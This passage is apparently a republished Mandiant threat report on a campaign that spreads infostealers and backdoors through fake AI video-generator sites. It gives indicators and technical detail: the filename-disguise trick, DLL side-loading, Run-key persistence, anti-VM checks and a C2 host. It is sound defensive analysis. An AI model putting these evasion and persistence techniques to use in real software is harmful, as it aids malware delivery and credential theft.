{"id":11999,"date":"2025-07-08T12:34:23","date_gmt":"2025-07-08T12:34:23","guid":{"rendered":"https:\/\/www.ntspl.co.in\/blog\/?p=11999"},"modified":"2025-07-08T12:46:02","modified_gmt":"2025-07-08T12:46:02","slug":"text-to-malware-how-cybercriminals-weaponize-fake-ai-themed-websites","status":"publish","type":"post","link":"https:\/\/www.ntspl.co.in\/blog\/text-to-malware-how-cybercriminals-weaponize-fake-ai-themed-websites\/","title":{"rendered":"Text-to-Malware: How Cybercriminals Weaponize Fake AI-Themed Websites"},"content":{"rendered":"<div class=\"block-paragraph_advanced\">\n<p>Since November 2024, <a href=\"https:\/\/cloud.google.com\/security\/products\/mandiant-managed-threat-hunting\">Mandiant Threat Defense<\/a> has been investigating an UNC6032 campaign that weaponizes the interest around AI tools, in particular those tools which can be used to generate videos based on user prompts. UNC6032 utilizes fake \u201cAI video generator\u201d websites to distribute malware leading to the deployment of payloads such as Python-based infostealers and several backdoors. Victims are typically directed to these fake websites via malicious social media ads that masquerade as legitimate AI video generator tools like Luma AI, Canva Dream Lab, and Kling AI, among others. Mandiant Threat Defense has identified thousands of UNC6032-linked ads that have collectively reached millions of users across various social media platforms like Facebook and LinkedIn. We suspect similar campaigns are active on other platforms as well, as cybercriminals consistently evolve tactics to evade detection and target multiple platforms to increase their chances of success.<\/p>\n<\/div>\n<div class=\"block-paragraph_advanced\">\n<p>Mandiant Threat Defense has observed UNC6032 compromises culminating in the exfiltration of login credentials, cookies, credit card data, and Facebook information through the Telegram API. This campaign has been active since at least mid-2024 and has impacted victims across different geographies and industries. Google Threat Intelligence Group (GTIG) assesses UNC6032 to have a Vietnam nexus.<\/p>\n<p>Mandiant Threat Defense acknowledges Meta&#8217;s collaborative and proactive threat hunting efforts in removing the identified malicious ads, domains, and accounts. Notably, a significant portion of Meta\u2019s detection and removal began in 2024, prior to Mandiant alerting them of additional malicious activity we identified.<\/p>\n<p>A <a href=\"https:\/\/www.morphisec.com\/blog\/new-noodlophile-stealer-fake-ai-video-generation-platforms\/\" target=\"_blank\" rel=\"noopener\">similar investigation<\/a> was recently published by Morphisec.<\/p>\n<\/div>\n<div class=\"block-paragraph_advanced\">\n<h2>Campaign Overview<\/h2>\n<p>Threat actors haven&#8217;t wasted a moment capitalizing on the global fascination with Artificial Intelligence. As AI&#8217;s popularity surged over the past couple of years, cybercriminals quickly moved to exploit the widespread excitement. Their actions have fueled a massive and rapidly expanding campaign centered on fraudulent websites masquerading as cutting-edge AI tools. These websites have been promoted by a large network of misleading social media ads, similar to the ones shown in Figure 1 and Figure 2.<\/p>\n<\/div>\n<div class=\"block-image_full_width\">\n<div class=\"article-module h-c-page\">\n<div class=\"h-c-grid\">\n<p>Figure 1: Malicious Facebook ads<\/p>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"block-image_full_width\">\n<div class=\"article-module h-c-page\">\n<div class=\"h-c-grid\">\n<p>Figure 2: Malicious LinkedIn ads<\/p>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"block-paragraph_advanced\">\n<p>As part of <a href=\"https:\/\/about.fb.com\/news\/2023\/08\/new-features-and-additional-transparency-measures-as-the-digital-services-act-comes-into-effect\/\" target=\"_blank\" rel=\"noopener\">Meta\u2019s implementation of the Digital Services Act<\/a>, the Ad Library displays additional information (ad campaign dates, targeting parameters and ad reach) on all ads that target people from the European Union. LinkedIn has also implemented a similar transparency tool.<\/p>\n<p>Our research through both Ad Library tools identified over 30 different websites, mentioned across thousands of ads, active since mid 2024, all displaying similar ad content. The majority of ads which we found ran on Facebook, with only a handful also advertised on LinkedIn. The ads were published using both attacker-created Facebook pages, as well as by compromised Facebook accounts. Mandiant Threat Defense performed further analysis of a sample of over 120 malicious ads and, from the EU transparency section of the ads, their total reach for EU countries was over 2.3 million users. Table 1 displays the top 5 Facebook ads by reach. It should be noted that reach does not equate to the number of victims. <a href=\"https:\/\/www.facebook.com\/business\/help\/710746785663278\" target=\"_blank\" rel=\"noopener\">According to Meta<\/a>, the reach of an ad is an estimated number of how many Account Center accounts saw the ad at least once.<\/p>\n<\/div>\n<div class=\"block-paragraph_advanced\">\n<table dir=\"ltr\" border=\"1\" cellspacing=\"0\" cellpadding=\"0\" data-sheets-root=\"1\" data-sheets-baot=\"1\">\n<colgroup>\n<col width=\"100\" \/>\n<col width=\"100\" \/>\n<col width=\"100\" \/>\n<col width=\"100\" \/><\/colgroup>\n<tbody>\n<tr>\n<td>Ad Library ID<\/td>\n<td>Ad Start Date<\/td>\n<td>Ad End Date<\/td>\n<td>EU Reach<\/td>\n<\/tr>\n<tr>\n<td>1589369811674269<\/td>\n<td>14.12.2024<\/td>\n<td>18.12.2024<\/td>\n<td>300,943<\/td>\n<\/tr>\n<tr>\n<td>559230916910380<\/td>\n<td>04.12.2024<\/td>\n<td>09.12.2024<\/td>\n<td>298,323<\/td>\n<\/tr>\n<tr>\n<td>926639029419602<\/td>\n<td>07.12.2024<\/td>\n<td>09.12.2024<\/td>\n<td>270,669<\/td>\n<\/tr>\n<tr>\n<td>1097376935221216<\/td>\n<td>11.12.2024<\/td>\n<td>12.12.2024<\/td>\n<td>124,103<\/td>\n<\/tr>\n<tr>\n<td>578238414853201<\/td>\n<td>07.12.2024<\/td>\n<td>10.12.2024<\/td>\n<td>111,416<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p style=\"text-align: left;\">Table 1: Top 5 Facebook ads by reach<\/p>\n<\/div>\n<div class=\"block-paragraph_advanced\">\n<p>The threat actor constantly rotates the domains mentioned in the Facebook ads, likely to avoid detection and account bans. We noted that once a domain is registered, it will be referenced in ads within a few days if not the same day. Moreover, most of the ads are short lived, with new ones being created on a daily basis.<\/p>\n<p>On LinkedIn, we identified roughly 10 malicious ads, each directing users to hxxps:\/\/klingxai[.]com. This domain was registered on September 19, 2024, and the first ad appeared just a day later. These ads have a total impression estimate of 50k-250k. For each ad, the United States was the region with the highest percentage of impressions, although the targeting included other regions such as Europe and Australia.<\/p>\n<\/div>\n<div class=\"block-paragraph_advanced\">\n<div>\n<table dir=\"ltr\" border=\"1\" cellspacing=\"0\" cellpadding=\"0\" data-sheets-root=\"1\" data-sheets-baot=\"1\">\n<colgroup>\n<col width=\"100\" \/>\n<col width=\"100\" \/>\n<col width=\"100\" \/>\n<col width=\"144\" \/>\n<col width=\"178\" \/><\/colgroup>\n<tbody>\n<tr>\n<td>Ad Library ID<\/td>\n<td>Ad Start Date<\/td>\n<td>Ad End Date<\/td>\n<td>Total Impressions<\/td>\n<td>% Impressions in the US<\/td>\n<\/tr>\n<tr>\n<td>490401954<\/td>\n<td>20.09.2024<\/td>\n<td>20.09.2024<\/td>\n<td>&lt;1k<\/td>\n<td>22<\/td>\n<\/tr>\n<tr>\n<td>508076723<\/td>\n<td>27.09.2024<\/td>\n<td>28.09.2024<\/td>\n<td>10k-50k<\/td>\n<td>68<\/td>\n<\/tr>\n<tr>\n<td>511603353<\/td>\n<td>30.09.2024<\/td>\n<td>01.10.2024<\/td>\n<td>10k-50k<\/td>\n<td>61<\/td>\n<\/tr>\n<tr>\n<td>511613043<\/td>\n<td>30.09.2024<\/td>\n<td>01.10.2024<\/td>\n<td>10k-50k<\/td>\n<td>40<\/td>\n<\/tr>\n<tr>\n<td>511613633<\/td>\n<td>30.09.2024<\/td>\n<td>01.10.2024<\/td>\n<td>10k-50k<\/td>\n<td>54<\/td>\n<\/tr>\n<tr>\n<td>511622353<\/td>\n<td>30.09.2024<\/td>\n<td>01.10.2024<\/td>\n<td>10k-50k<\/td>\n<td>36<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<p>Table 2: LinkedIn ads<\/p>\n<\/div>\n<div class=\"block-paragraph_advanced\">\n<p>From the websites investigated, Mandiant Threat Defense observed that they have similar interfaces and offer purported functionalities such as text-to-video or image-to-video generation. Once the user provides a prompt to generate a video, regardless of the input, the website will serve one of the static payloads hosted on the same (or related) infrastructure.<\/p>\n<p>The payload downloaded is the STARKVEIL malware. It drops three different modular malware families, primarily designed for information theft and capable of downloading plugins to extend their functionality. The presence of multiple, similar payloads suggests a fail-safe mechanism, allowing the attack to persist even if some payloads are detected or blocked by security defences.<\/p>\n<p>In the next section, we will delve deeper into one particular compromise Mandiant Threat Defense responded to.<\/p>\n<h2>Luma AI Investigation<\/h2>\n<h3>Infection Chain<\/h3>\n<p><img decoding=\"async\" src=\"https:\/\/storage.googleapis.com\/gweb-cloudblog-publish\/images\/fake-ai-fig3.max-2100x2100.png\" \/><\/p>\n<\/div>\n<div class=\"block-image_full_width\">\n<div class=\"article-module h-c-page\">\n<div class=\"h-c-grid\">\n<p>Figure 3: Infection chain lifecycle<\/p>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"block-paragraph_advanced\">\n<p>This blog post provides a detailed analysis of our findings on the key components of this campaign:<\/p>\n<p><strong>Lure: <\/strong>The threat actors leverage social networks to push AI-themed ads that direct users to fake AI websites, resulting in malware downloads.<\/p>\n<p><strong>Malware<\/strong>: It contains several malware components, including the STARKVEIL dropper, which deploys the XWORM and FROSTRIFT backdoors and the GRIMPULL downloader.<\/p>\n<p><strong>Execution<\/strong>: The malware makes extensive use of DLL side-loading, in-memory droppers, and process injection to execute its payloads.<\/p>\n<p><strong>Persistence<\/strong>: It uses AutoRun registry key for its two Backdoors (XWORM and FROSTRIFT).<\/p>\n<p><strong>Anti-VM and Anti-analysis<\/strong>: GRIMPULL checks for commonly used artifactsfeatures from known Sandbox and analysis tools.<\/p>\n<p><strong>Reconnaissance<\/strong><\/p>\n<p><strong>Host reconnaissance<\/strong>: XWORM and FROSTRIFT survey the host by collecting information, including OS, username, role, hardware identifiers, and installed AV.<\/p>\n<p><strong>Software reconnaissance<\/strong>: FROSTRIFT checks the existence of certain messaging applications and browsers.<\/p>\n<p><strong>Command-and-control (C2)<\/strong><\/p>\n<p><strong>Tor<\/strong>: GRIMPULL utilizes a Tor Tunnel to fetch additional .NET payloads.<\/p>\n<p><strong>Telegram<\/strong>: XWORM sends victim notification via telegram including information gathered during host reconnaissance.<\/p>\n<p><strong>TCP<\/strong>: The malware connects to its C2 using ports 7789, 25699, 56001.<\/p>\n<p><strong>Information stealer\u00a0<\/strong><\/p>\n<p><strong>Keylogger<\/strong>: XWORM log keystrokes from the host.<\/p>\n<p><strong>Browser extensions<\/strong>: FROSTRIFT scans for 48 browser extensions related to Password managers, Authenticators, and Digital wallets potentially for data theft.<\/p>\n<p><strong>Backdoor Commands<\/strong>: XWORM supports multiple commands for further compromise.<\/p>\n<h3>The Lure<\/h3>\n<p>This particular case began from a Facebook Ad for \u201cLuma Dream AI Machine\u201d, masquerading as a well-known text-to-video AI tool &#8211; Luma AI. The ad, as seen in Figure 4, redirected the user to an attacker-created website hosted at hxxps:\/\/lumalabsai[.]in\/.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/storage.googleapis.com\/gweb-cloudblog-publish\/images\/fake-ai-fig4.max-1300x1300.png\" \/><\/p>\n<\/div>\n<div class=\"block-image_full_width\">\n<div class=\"article-module h-c-page\">\n<div class=\"h-c-grid\">\n<p>Figure 4: The ad the victim clicked on<\/p>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"block-paragraph_advanced\">\n<p>Once on the fake Luma AI website, the user can click the \u201cStart Free Now\u201d button and choose from various video generation functionalities. Regardless of the selected option, the same prompt is displayed, as shown in the GIF in Figure 5.<\/p>\n<p>This multi-step process, made to resemble any other legitimate text-to-video or image-to-video generation tool website, creates a sense of familiarity to the user and does not give any immediate indication of malicious intent. Once the user hits the generate button, a loading bar appears, mimicking an AI model hard at work. After a few seconds, when the new video is supposedly ready, a Download button is displayed. This leads to the download of a ZIP archive file on the victim host.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/storage.googleapis.com\/gweb-cloudblog-publish\/original_images\/fake-ai-fig5a.gif\" \/><\/p>\n<\/div>\n<div class=\"block-image_full_width\">\n<div class=\"article-module h-c-page\">\n<div class=\"h-c-grid\">\n<p>Figure 5: Fake AI video generation website<\/p>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"block-paragraph_advanced\">\n<p>Unsurprisingly, the ready-to-download archive is one of many payloads already hosted on the same server, with no connection to the user input. In this case, several archives were hosted at the path hxxps:\/\/lumalabsai[.]in\/complete\/. Mandiant determined that the website will serve the archive file with the most recent \u201cLast Modified\u201d value, indicating continuous updates by the threat actor. Mandiant compared some of these payloads and found them to be functionally similar, with different obfuscation techniques applied, thus resulting in different sizes.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/storage.googleapis.com\/gweb-cloudblog-publish\/images\/fake-ai-fig6.max-1200x1200.png\" \/><\/p>\n<\/div>\n<div class=\"block-image_full_width\">\n<div class=\"article-module h-c-page\">\n<div class=\"h-c-grid\">\n<p>Figure 6: Payloads hosted at hxxps:\/\/lumalabsai[.]in\/complete<\/p>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"block-paragraph_advanced\">\n<h3>Execution<\/h3>\n<p>The previously downloaded ZIP archive contains an executable with a double extension (.mp4 and .exe) in its name, separated by thirteen Braille Pattern Blank (Unicode: U+2800, UTF-8: E2 A0 80)\u00a0characters. This is a special whitespace character from the Braille Pattern Block in Unicode.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/storage.googleapis.com\/gweb-cloudblog-publish\/images\/fake-ai-fig7a.max-800x800.png\" \/><\/p>\n<\/div>\n<div class=\"block-image_full_width\">\n<div class=\"article-module h-c-page\">\n<div class=\"h-c-grid\">\n<p>Figure 7: Braille Pattern Blank characters in the file name<\/p>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"block-paragraph_advanced\">\n<p>The resulting file name, Lumalabs_1926326251082123689-626.mp4\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800.exe, aims to make the binary less suspicious by pushing the .exe extension out of the user view. The number of Braille Pattern Blank characters used varies across different samples served, ranging from 13 to more than 30. To further hide the true purpose of this binary, the default .mp4 Windows icon is used on the malicious file.<\/p>\n<p>Figure 8 shows how the file looks on Windows 11, compared to a legitimate .mp4 file.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/storage.googleapis.com\/gweb-cloudblog-publish\/images\/fake-ai-fig8.max-900x900.png\" \/><\/p>\n<\/div>\n<div class=\"block-image_full_width\">\n<div class=\"article-module h-c-page\">\n<div class=\"h-c-grid\">\n<p>Figure 8: Malicious binary vs legitimate .mp4 file<\/p>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"block-paragraph_advanced\">\n<h3>STARKVEIL<\/h3>\n<p>The binary Lumalabs_1926326251082123689-626.mp4\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800.exe, tracked by Mandiant as STARKVEIL<strong>,<\/strong> is a dropper written in Rust. Once executed, it extracts an embedded archive containing benign executables and its malware components. These are later utilized to inject malicious code into several legitimate processes.<\/p>\n<p>Executing the malware displays an error window, as seen in Figure 9, to trick the user into trying to execute it again and into believing that the file is corrupted.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/storage.googleapis.com\/gweb-cloudblog-publish\/images\/fake-ai-fig9.max-400x400.png\" \/><\/p>\n<\/div>\n<div class=\"block-image_full_width\">\n<div class=\"article-module h-c-page\">\n<div class=\"h-c-grid\">\n<p>Figure 9: Error window displayed when executing STARKVEIL<\/p>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"block-paragraph_advanced\">\n<p>For a successful compromise, the executable needs to run twice; the initial execution results in the extraction of all the embedded files under the C:winsystem directory.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/storage.googleapis.com\/gweb-cloudblog-publish\/images\/fake-ai-fig10.max-1400x1400.png\" \/><\/p>\n<\/div>\n<div class=\"block-image_full_width\">\n<div class=\"article-module h-c-page\">\n<div class=\"h-c-grid\">\n<p>Figure 10: Files in the winsystem directory<\/p>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"block-paragraph_advanced\">\n<p>During the second execution, the main executable spawns the Python Launcher, py.exe, with an obfuscated Python command as an argument. The Python command decodes an embedded Python code, which Mandiant tracks as COILHATCH dropper. COILHATCH performs the following actions (note that the script has been deobfuscated and renamed for improved readability):<\/p>\n<p>The command takes a Base85-encoded string, decodes it, decompresses the result using zlib, deserializes the resulting data using the marshalmodule, and then executes the final deserialized data as Python code.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/storage.googleapis.com\/gweb-cloudblog-publish\/images\/fake-ai-fig11a.max-800x800.png\" \/><\/p>\n<\/div>\n<div class=\"block-image_full_width\">\n<div class=\"article-module h-c-page\">\n<div class=\"h-c-grid\">\n<p>Figure 11: Python command<\/p>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"block-paragraph_advanced\">The decompiled first-stage Python code combines RSA, AES, RC4, and XOR techniques to decrypt the second stage Python bytecode.<\/div>\n<div><\/div>\n<div><img decoding=\"async\" src=\"https:\/\/storage.googleapis.com\/gweb-cloudblog-publish\/images\/fake-ai-fig12.max-1500x1500.png\" \/><\/div>\n<div class=\"block-image_full_width\">\n<div class=\"article-module h-c-page\">\n<div class=\"h-c-grid\">\n<p>Figure 12: First-stage Python<\/p>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"block-paragraph_advanced\">The decrypted second-stage Python script executes C:winsystemheifheif.exe, which is a legitimate, digitally signed executable, used to side-load a malicious DLL. This serves as the launcher to execute the other malware components.<\/div>\n<div><img decoding=\"async\" src=\"https:\/\/storage.googleapis.com\/gweb-cloudblog-publish\/images\/fake-ai-fig13a.max-700x700.png\" \/><\/div>\n<div class=\"block-image_full_width\">\n<div class=\"article-module h-c-page\">\n<div class=\"h-c-grid\">\n<p>Figure 13: Second-stage Python<\/p>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"block-paragraph_advanced\">\n<p>The following is the resulting process tree:<\/p>\n<\/div>\n<div class=\"block-paragraph_advanced\">explorer.exe<br \/>\n\u21b3 7zfm.exe &#8220;&lt;path&gt;Lumalabs_1926326251082123689-626.zip&#8221;<br \/>\n\u21b3 &#8220;&lt;path&gt;lumalabs_1926326251082123689-626.mp4\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800\u2800.exe&#8221;<br \/>\n\u21b3 &#8220;C:winsystempypy.exe&#8221; -c exec(__import__ ..&lt;ENCODED PYTHON CODE&gt;..)<br \/>\n\u21b3 &#8220;C:WINDOWSsystem32cmd.exe&#8221; \/c &#8220;C:winsystemheifheif.exe&#8221;<br \/>\n\u21b3 &#8220;C:winsystemheifheif.exe&#8221;<\/div>\n<div class=\"block-paragraph_advanced\">\n<h3>Malware Analysis<\/h3>\n<p>As mentioned, the STARKVEIL malware drops its components during its first execution and executes a launcher on its second execution. The complete analysis of all the malware components and their roles is provided in the next sections.<\/p>\n<\/div>\n<div class=\"block-paragraph_advanced\">\n<div>\n<table dir=\"ltr\" border=\"1\" cellspacing=\"0\" cellpadding=\"0\" data-sheets-root=\"1\" data-sheets-baot=\"1\">\n<colgroup>\n<col width=\"100\" \/>\n<col width=\"100\" \/>\n<col width=\"562\" \/>\n<col width=\"269\" \/><\/colgroup>\n<tbody>\n<tr>\n<td>Directory<\/td>\n<td>Benign File<\/td>\n<td>Side-Loaded DLL<\/td>\n<td>Role (Malware)<\/td>\n<\/tr>\n<tr>\n<td>C:\\winsystem\\heif<\/td>\n<td>heif.exe<\/td>\n<td>heif.dll<br \/>\n(SHA256: 839260ac321a44da55d4e6a5130c12869066af712f71c558bd42edd56074265b)<\/td>\n<td>Launcher<\/td>\n<\/tr>\n<tr>\n<td>%APPDATA%\\Launcher<\/td>\n<td>Launcher.exe<\/td>\n<td>libde265.dll<br \/>\n(SHA256: 4982a33e0c2858980126b8279191cb4eddd0a35f936cf3eda079526ba7c76959)<\/td>\n<td>Persistence<\/td>\n<\/tr>\n<tr>\n<td>%APPDATA%\\python<\/td>\n<td>python.exe<\/td>\n<td>avcodec-61.dll<br \/>\n(SHA256: 8d2c9c2b5af31e0e74185a82a816d3d019a0470a7ad8f5c1b40611aa1fd275cc)<\/td>\n<td>Downloader (GRIMPULL)<\/td>\n<\/tr>\n<tr>\n<td>%APPDATA%\\pythonw<\/td>\n<td>pythonw.exe<\/td>\n<td>heif.dll<br \/>\n(SHA256: a0e75bd0b0fa0174566029d0e50875534c2fcc5ba982bd539bdeff506cae32d3)<\/td>\n<td>Backdoor executed at runtime (XWORM)<\/td>\n<\/tr>\n<tr>\n<td>C:\\winsystem\\heif-info<\/td>\n<td>heif-info.exe<\/td>\n<td>heif.dll<br \/>\n(SHA256: 1a037da4103e38ff95cb0008a5e38fd6a8e7df5bc8e2d44e496b7a5909ddebeb)<\/td>\n<td>Backdoor for persistence (XWORM)<\/td>\n<\/tr>\n<tr>\n<td>%APPDATA%\\ffplay<\/td>\n<td>ffplay.exe<\/td>\n<td>libde265.dll<br \/>\n(SHA256: dcb1e9c6b066c2169928ae64e82343a250261f198eb5d091fd7928b69ed135d3)<\/td>\n<td>Backdoor executed at runtime (FROSTRIFT)<\/td>\n<\/tr>\n<tr>\n<td>C:\\winsystem\\heif2rgb<\/td>\n<td>heif2rgb.exe<\/td>\n<td>heif.dll<br \/>\n(SHA256: e663c1ba289d890a74e33c7e99f872c9a7b63e385a6a4af10a856d5226c9a822)<\/td>\n<td>Backdoor for persistence (FROSTRIFT)<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<p>Table 3: Malware components<\/p>\n<\/div>\n<div class=\"block-paragraph_advanced\">\n<p>Each of these DLLs operates as an in-memory dropper and spawns a new victim process to perform code injection through process replacement.<\/p>\n<h4>Launcher<\/h4>\n<p>The execution of C:winsystemheifheif.exe results in the side-loading of the malicious heif.dll<strong>, <\/strong>located in the same directory. This DLL is an in-memory dropper that spawns a legitimate Windows process (which may vary) and performs code injection through process replacement.<\/p>\n<p>The injected code is a .NET executable that acts as a launcher and performs the following:<\/p>\n<p>Moves multiple folders from C:winsystem to %APPDATA%. The destination folders are:<\/p>\n<p>%APPDATA%python<br \/>\n%APPDATA%pythonw<br \/>\n%APPDATA%ffplay<br \/>\n%APPDATA%Launcher<\/p>\n<p>Launches three legitimate processes to side-load associated malicious DLLs. The malicious DLLs for each process are:<\/p>\n<p>python.exe: %APPDATA%pythonavcodec-61.dll<br \/>\npythonw.exe: %APPDATA%pythonwheif.dll<br \/>\nffplay.exe: %APPDATA%ffplaylibde265.dll<\/p>\n<p>Establishes persistence via AutoRun registry key.<\/p>\n<p><strong>value<\/strong>: Dropbox<br \/>\n<strong>key<\/strong>: SOFTWAREMicrosoftWindowsCurrentVersionRun<br \/>\n<strong>root<\/strong>: HKCU<br \/>\n<strong>value data<\/strong>: &#8220;cmd.exe \/c &#8220;cd \/d &#8220;&lt;exePath&gt;&#8221; &amp;&amp; &#8220;Launcher.exe&#8221;&#8221;<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/storage.googleapis.com\/gweb-cloudblog-publish\/images\/fake-ai-fig14.max-900x900.png\" \/><\/p>\n<\/div>\n<div class=\"block-image_full_width\">\n<div class=\"article-module h-c-page\">\n<div class=\"h-c-grid\">\n<p>Figure 14: Main function of launcher<\/p>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"block-paragraph_advanced\">\n<p>The AutoRun Key executes %APPDATA%LauncherLauncher.exe that sideloads the DLL file libde265.dll. This DLL spawns and injects its payload into AddInProcess32.exe via PE hollowing. The injected code\u2019s main purpose is to execute the legitimate binaries C:winsystemheif2rgbheif2rgb.exe and C:winsystemheif-infoheif-info.exe, which, in turn, sideload the backdoors XWORM and FROSTRIFT, respectively.<\/p>\n<h4>GRIMPULL<\/h4>\n<p>Of the three executables, the launcher first executes %APPDATA%pythonpython.exe, which side-loads the DLL avcodec-61.dll and injects the malware GRIMPULL into a legitimate Windows process.<\/p>\n<p>GRIMPULL is a .NET-based downloader that incorporates anti-VM capabilities and utilizes Tor for C2 server connections.<\/p>\n<h5>Anti-VM and Anti-Analysis<\/h5>\n<p>GRIMPULL begins by checking for the presence of the mutex value aff391c406ebc4c3, and terminates itself if this is found. Otherwise, the malware proceeds to perform further anti-VM checks, exiting in case any of the mentioned checks succeeds.<\/p>\n<table dir=\"ltr\" border=\"1\" cellspacing=\"0\" cellpadding=\"0\" data-sheets-root=\"1\" data-sheets-baot=\"1\">\n<colgroup>\n<col width=\"347\" \/>\n<col width=\"714\" \/><\/colgroup>\n<tbody>\n<tr>\n<td colspan=\"2\" rowspan=\"1\">Anti-VM and Anti-Analysis Checks<\/td>\n<\/tr>\n<tr>\n<td>Module Detection<\/td>\n<td>Checks for sandbox\/analysis tool DLLs:<br \/>\nSbieDll.dll (Sandboxie)<\/p>\n<p>cuckoomon.dll (Cuckoo Sandbox)<\/td>\n<\/tr>\n<tr>\n<td>BIOS Information Checks<\/td>\n<td>Queries Win32_BIOS via WMI and checks version and serial number for:<br \/>\nVMware<\/p>\n<p>VIRTUAL<\/p>\n<p>A M I (AMI BIOS)<\/p>\n<p>Xen<\/td>\n<\/tr>\n<tr>\n<td>Parent Process Check<\/td>\n<td>Checks if parent process is cmd (command line)<\/td>\n<\/tr>\n<tr>\n<td>VM File Detection<\/td>\n<td>Checks for existence of vmGuestLib.dll in the System folder<\/td>\n<\/tr>\n<tr>\n<td>System Manufacturer Checks<\/td>\n<td>Queries Win32_ComputerSystem via WMI and checks manufacturer and model for:<br \/>\nMicrosoft (Hyper-V)<\/p>\n<p>VMWare<\/p>\n<p>Virtual<\/td>\n<\/tr>\n<tr>\n<td>Display and System Configuration Checks<\/td>\n<td>Checks for specific screen resolutions:<br \/>\n1440&#215;900<\/p>\n<p>1024&#215;768<\/p>\n<p>1280&#215;1024<\/p>\n<p>Checks if the OS is 32-bit<\/td>\n<\/tr>\n<tr>\n<td>Username Checks<\/td>\n<td>Checks for common analysis environment usernames:<br \/>\njohn<\/p>\n<p>anna<\/p>\n<p>Any username containing xxxxxxxx<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<div class=\"block-paragraph_advanced\">\n<div>\n<div>\n<div>\n<p>Anti-VM and Anti-Analysis Checks<\/p>\n<section class=\"Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b\">\n<div class=\" \">\n<h5>Download Function<\/h5>\n<p>GRIMPULLverifies the presence of a Tor process. If a Tor process is not detected, it proceeds to download, decompress, and execute Tor from the following URL:<\/p>\n<\/div>\n<\/section>\n<section class=\"Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b\">\n<div class=\" \">\n<pre><code>https:\/\/archive.torproject.org\/tor-package-archive\/torbrowser\/13.0.9\/\r\ntor-expert-bundle-windows-i686-13.0.9.tar.gz<\/code><\/pre>\n<\/div>\n<\/section>\n<section class=\"QzPuud\">\n<div><img decoding=\"async\" src=\"https:\/\/storage.googleapis.com\/gweb-cloudblog-publish\/images\/fake-ai-fig15.max-1300x1300.png\" \/><\/div>\n<div>Figure 15: Download function<\/div>\n<\/section>\n<\/div>\n<\/div>\n<div>Afterwards, Tor will run locally on port\u00a0<code>9050<\/code>.<\/div>\n<\/div>\n<div>\n<section class=\"Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b\">\n<div class=\" \">\n<h5>C2 Communication<\/h5>\n<p>GRIMPULL then attempts to connect to the following C2 server via the Tor tunnel over TCP.<\/p>\n<\/div>\n<\/section>\n<section class=\"Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b\">\n<div class=\" \">\n<pre><code>strokes[.]zapto[.]org:7789<\/code><\/pre>\n<\/div>\n<\/section>\n<section class=\"Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b\">\n<div class=\" \">\n<p>The malware maintains this connection and periodically checks for .NET payloads. Fetched payloads are decrypted using\u00a0<code>TripleDES<\/code>\u00a0in ECB mode with the\u00a0<code>MD5<\/code>\u00a0hash of the campaign ID\u00a0<code>aff391c406ebc4c3<\/code>\u00a0as the decryption key, decompressed with\u00a0<code>GZip<\/code>\u00a0(using a 4-byte length prefix), reversed, and then loaded into memory as .NET assemblies.<\/p>\n<h5>Malware Configuration<\/h5>\n<p>The configuration elements are encoded as\u00a0<code>base64<\/code>\u00a0strings, as shown in Figure 16.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/storage.googleapis.com\/gweb-cloudblog-publish\/images\/fake-ai-fig16.max-700x700.png\" \/><\/p>\n<p>Figure 16: Encoded malware configuration<\/p>\n<p>Table 5 shows the extracted malware configuration.<\/p>\n<table dir=\"ltr\" border=\"1\" cellspacing=\"0\" cellpadding=\"0\" data-sheets-root=\"1\" data-sheets-baot=\"1\">\n<colgroup>\n<col width=\"234\" \/>\n<col width=\"155\" \/><\/colgroup>\n<tbody>\n<tr>\n<td colspan=\"2\" rowspan=\"1\">GRIMPULL Malware Configuration<\/td>\n<\/tr>\n<tr>\n<td>C2 domain\/server<\/td>\n<td>strokes[.]zapto[.]org<\/td>\n<\/tr>\n<tr>\n<td>Port number<\/td>\n<td>7789<\/td>\n<\/tr>\n<tr>\n<td>Unique identifier\/campaign ID<\/td>\n<td>aff391c406ebc4c3<\/td>\n<\/tr>\n<tr>\n<td>Configuration profile name<\/td>\n<td>Default<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>Table 5: GRIMPULL configuration<\/p>\n<h4>XWORM<\/h4>\n<p>Secondly, the launcher executes the file\u00a0<code>%APPDATA%\\pythonw\\pythonw.exe<\/code>, which side-loads the 